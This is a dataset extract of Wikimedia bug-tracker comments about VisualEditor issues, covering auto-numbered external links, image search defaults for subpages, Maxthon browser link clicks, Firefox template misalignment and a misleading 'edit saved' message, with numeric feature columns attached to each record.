https://gerrit.wikimedia.org/r/143346",,,1404233443,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,False,,,52,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.230769230769231,1.0,"Change 143346 had a related patch set uploaded by Bartosz Dziewoński:
Make it possible to create autonumbered external links from link inspector

GERRIT_URL"
240658,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Matthew Flaschen from comment #3)
> (In reply to Matthew Flaschen from comment #0)
> > VisualEditor lets you backspace to remove the characters one by one, which
> > does not really reflect the model of how the link works.
> 
> This is fixed.  It now highlights on first backspace, and erases on second,
> which I think is handled the same as similar things.

Yeah, sorry, forgot to say ""we've done a bunch of work on auto-numbered external links since this bug was filed, so most of this is fixed, however…"" at the top. :-)",,,1394498598,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,14.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,2.0,0.0,6.0,0.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,2.0,14.0,11.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.196969696969697,0.7424242424242424,"(In reply to Matthew Flaschen from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, sorry, forgot to say ""we've done a bunch of work on auto-numbered external links since this bug was filed, so most of this is fixed, however…"" at the top. :-)"
240655,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Matthew Flaschen from comment #0)
> VisualEditor lets you backspace to remove the characters one by one, which
> does not really reflect the model of how the link works.

This is fixed.  It now highlights on first backspace, and erases on second, which I think is handled the same as similar things.",,,1394490729,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,18.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6136363636363638,0.8636363636363636,"(In reply to Matthew Flaschen from comment #0)
QUOTE
QUOTE

This is fixed.  It now highlights on first backspace, and erases on second, which I think is handled the same as similar things."
240651,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Current status:

You can …

* … edit the target of an auto-numbered external link to a different external link; and 
* … edit the target of an auto-numbered external link to an internal link, and the anchor will automatically be set as the internal link value.


You cannot …

* … create an auto-numbered external link; 
* … convert an auto-numbered external link to a real external link; or
* … ""clear formatting"" on an auto-numbered external link.

I think the first two are valuable, but the third isn't, because we're planning to remove the function of removing links and other rich styling from the ""clear formatting"" function button. Re-titling, setting priority.",,,1394479965,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,0.5,1.0,12.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.5,1.5,1.5,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,2.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.0,2.0,3.0,0.5,3.0,9.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,2.5,7.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,4.5,0.0,2.0,0.0,0.0,0.0,3.6874572795625427,0.588943950786056,"Current status:

You can …

* … edit the target of an auto-numbered external link to a different external link; and 
* … edit the target of an auto-numbered external link to an internal link, and the anchor will automatically be set as the internal link value.


You cannot …

* … create an auto-numbered external link; 
* … convert an auto-numbered external link to a real external link; or
* … ""clear formatting"" on an auto-numbered external link.

I think the first two are valuable, but the third isn't, because we're planning to remove the function of removing links and other rich styling from the ""clear formatting"" function button. Re-titling, setting priority."
240646,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Also, if you highlight it, then use ""Clear formatting"", it does nothing.  I'm not sure what it should do (nowiki the URL?), but if it does nothing it should be greyed out.",,,1373772660,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,11.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,16.0,7.0,2.0,2.0,4.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.7111111111111111,"Also, if you highlight it, then use ""Clear formatting"", it does nothing.  I'm not sure what it should do (nowiki the URL?), but if it does nothing it should be greyed out."
53290,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

It's not a high priority, but still, a suggestion: the default search text, for an image search, is the complete page name. So, for example, if someone is editing a draft article, at User:WhateverEditorName/Article name, the default search text is ""WhateverEditorName/Article name"". It would be better if the default ignored the final slash and all text to the left of it; in this case, it would mean the default search would be ""Article name"".

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373722680,1401923120.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-dokktb23gmzzq6sf5ts5,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.5,0.0,0.0,0.5,3.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,5.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,16.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,3.0,10.5,1.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,2.5,5.5,6.5,0.0,3.0,0.0,2.5,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,3.75,0.661764705882353,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

It's not a high priority, but still, a suggestion: the default search text, for an image search, is the complete page name. So, for example, if someone is editing a draft article, at User:WhateverEditorName/Article name, the default search text is ""WhateverEditorName/Article name"". It would be better if the default ignored the final slash and all text to the left of it; in this case, it would mean the default search would be ""Article name"".

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239652,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Change 137151 merged by jenkins-bot:
Use subpage only for media search string

https://gerrit.wikimedia.org/r/137151",,,1401919831,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 137151 merged by jenkins-bot:
Use subpage only for media search string

GERRIT_URL"
239648,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Change 137151 had a related patch set uploaded by Mooeypoo:
Use subpage only for media search string

https://gerrit.wikimedia.org/r/137151",,,1401825558,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,48,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 137151 had a related patch set uploaded by Mooeypoo:
Use subpage only for media search string

GERRIT_URL"
239643,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"(In reply to comment #5)
> No, not everyone has the editbugs permission.

See bug 40497 for the editbugs problem.",,,1374841877,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.210526315789474,1.0,"(In reply to comment #5)
QUOTE

See bug 40497 for the editbugs problem."
239638,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"No, not everyone has the editbugs permission. Andre can give you it, CCing him.",,,1374840313,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,True,,,3,,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8888888888888888,"No, not everyone has the editbugs permission. Andre can give you it, CCing him."
239632,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Ah, I see. :) I don't actually know if everyone has the rights to do so - bugzilla is a strange and wondrous land to me.",,,1373808017,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,0.0,3.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,3.0,7.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8666666666666667,"Ah, I see. :) I don't actually know if everyone has the rights to do so - bugzilla is a strange and wondrous land to me."
239627,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"You missed my main point in the title : it's text ""before"" the / that should be ignored, not the text ""after"" ;-)

I don't see how I can change bug titles. Are you sure everyone has the rights to do so ?
The only things I can do is add a comment, add an attachment, ...",,,1373807242,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,0.0,1.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,6.0,0.0,6.0,6.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,1.0,1.0,4.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,10.0,4.0,9.0,1.0,0.0,12.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,6.0,0.0,1.0,6.0,0.0,10.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1159420289855073,0.782608695652174,"You missed my main point in the title : it's text ""before"" the / that should be ignored, not the text ""after"" ;-)

I don't see how I can change bug titles. Are you sure everyone has the rights to do so ?
The only things I can do is add a comment, add an attachment, ..."
239621,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"I've changed it. Titles are editable in bugzilla, much like wikitext. :)",,,1373806617,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.9375,"I've changed it. Titles are editable in bugzilla, much like wikitext. :)"
239616,VisualEditor: Default search text for images should ignore text before / in namespaces which support sub-pages,"Bug title is incorrect, it would rather be something like ""Default search text for images should ignore text before /""",,,1373793904,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-dokktb23gmzzq6sf5ts5,task_subcomment,,True,c1,3,False,,,1,,0.0,4.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.304347826086956,0.9130434782608695,"Bug title is incorrect, it would rather be something like ""Default search text for images should ignore text before /"""
53269,VisualEditor: Maxthon mobile browser click on link opens the link,"When using the Maxthon browser, clicking on a link (wiki or external) opens the link instead of allow ther to alter the link object.

After the linked page is opened, returning to the VE shows the link object icon which alllows the link to be altered.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1373671080,1598732594.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-d2aeownijzkra4jifb23,task_description,declined,True,c1,3,False,False,False,1,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,3.0,8.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,0.0,0.0,0.0,3.9295774647887325,0.647887323943662,"When using the Maxthon browser, clicking on a link (wiki or external) opens the link instead of allow ther to alter the link object.

After the linked page is opened, returning to the VE shows the link object icon which alllows the link to be altered.

--------------------------
**Version**: unspecified
**Severity**: normal"
1570552,VisualEditor: Maxthon mobile browser click on link opens the link,"Unfortunately closing this Phabricator task as no further information has been provided.

After you have provided the information asked for and if this still happens, please set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!
",,,1598732594,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,True,,,373,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,2.0,2.0,12.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,12.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.155172413793103,0.8448275862068966,"Unfortunately closing this Phabricator task as no further information has been provided.

After you have provided the information asked for and if this still happens, please set the status of this task back to ""Open"" via the {nav name=Add Action... > Change Status} dropdown. Thanks!
"
1514898,VisualEditor: Maxthon mobile browser click on link opens the link,"5.5 years later, is this still an issue? If it is, please provide Maxthon browser version information and a URL to reproduce. Thanks!",,,1590943358,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,True,,,360,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,4.0,4.0,11.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,0.0,4.0,7.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.9642857142857144,0.9285714285714286,"5.5 years later, is this still an issue? If it is, please provide Maxthon browser version information and a URL to reproduce. Thanks!"
238398,VisualEditor: Maxthon mobile browser click on link opens the link,It works better than Google Chrome. :P  See bug 51270.,,,1373672761,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.4615384615384617,0.9230769230769231,It works better than Google Chrome. :P  See bug 51270.
238391,VisualEditor: Maxthon mobile browser click on link opens the link,Sounds like we may need to blacklist the Maxthon browser. :-(,,,1373671579,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-d2aeownijzkra4jifb23,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Sounds like we may need to blacklist the Maxthon browser. :-(
53252,VisualEditor: Initial (PHP-rendered) template display misaligned in Firefox,"Copied from English Wikipedia:

Editing Gol Transportes Aéreos Flight 1907#Criminal proceedings I added two cleanup templates, {{update}} and {{prose}}. In the visual editor the two templates were differently left-aligned and different lengths, despite saving and displaying correctly. Reopening the page in the visual editor, the templates appear at their correct size and alignment, but do appear with an apparent blank line between them. Thryduulf (talk) 14:04, 12 July 2013 (UTC)

See screenshot: 
http://en.wikipedia.org/wiki/File:Visual_Editor_screenshot_-_templates_not_aligned.png

****
I could replicate this on Firefox (Windows 7) but not Chrome.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1373654340,1421778486.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sazwqzfkazbagnggd2du,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.5,0.5,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.5,4.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,13.5,0.5,3.5,4.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,0.0,2.5,4.5,6.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.0,4.086956521739131,0.6666666666666666,"Copied from English Wikipedia:

Editing Gol Transportes Aéreos Flight 1907#Criminal proceedings I added two cleanup templates, {{update}} and {{prose}}. In the visual editor the two templates were differently left-aligned and different lengths, despite saving and displaying correctly. Reopening the page in the visual editor, the templates appear at their correct size and alignment, but do appear with an apparent blank line between them. Thryduulf (talk) 14:04, 12 July 2013 (UTC)

See screenshot: 
URL

****
I could replicate this on Firefox (Windows 7) but not Chrome.

--------------------------
**Version**: unspecified
**Severity**: minor"
401716,VisualEditor: Initial (PHP-rendered) template display misaligned in Firefox,Looks fine to me now?,,,1421778486,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sazwqzfkazbagnggd2du,task_subcomment,,True,c1,3,True,,,81,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,2.8333333333333335,1.0,Looks fine to me now?
53243,"VisualEditor: If making a null change, the ""Your edit was saved"" message appears, even if there were no changes and so it wasn't","I was following Sherry's kind advices in my sandbox at enwp http://en.wikipedia.org/wiki/User:Elitre_(WMF)/Sandbox:
<<you can create an {{Infobox person}}, with parameters like ""name"" and ""occupation"".  Within those parameters, you can type the wikicode for any templates you want.  For example, you can give it a name parameter of ""Alice Expert((citation needed|date=July 2013}}"", which later gets processed properly as a template. >>
An infobox appeared (well, a box with my sandbox title, actually), I saved, ""your edit was saved"" message appeared, the box isn't in the page anymore.
Tried again, same thing. No trace of my activity in the history. Win 7, Vector, both Chrome and FF.

Thanks,
E.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
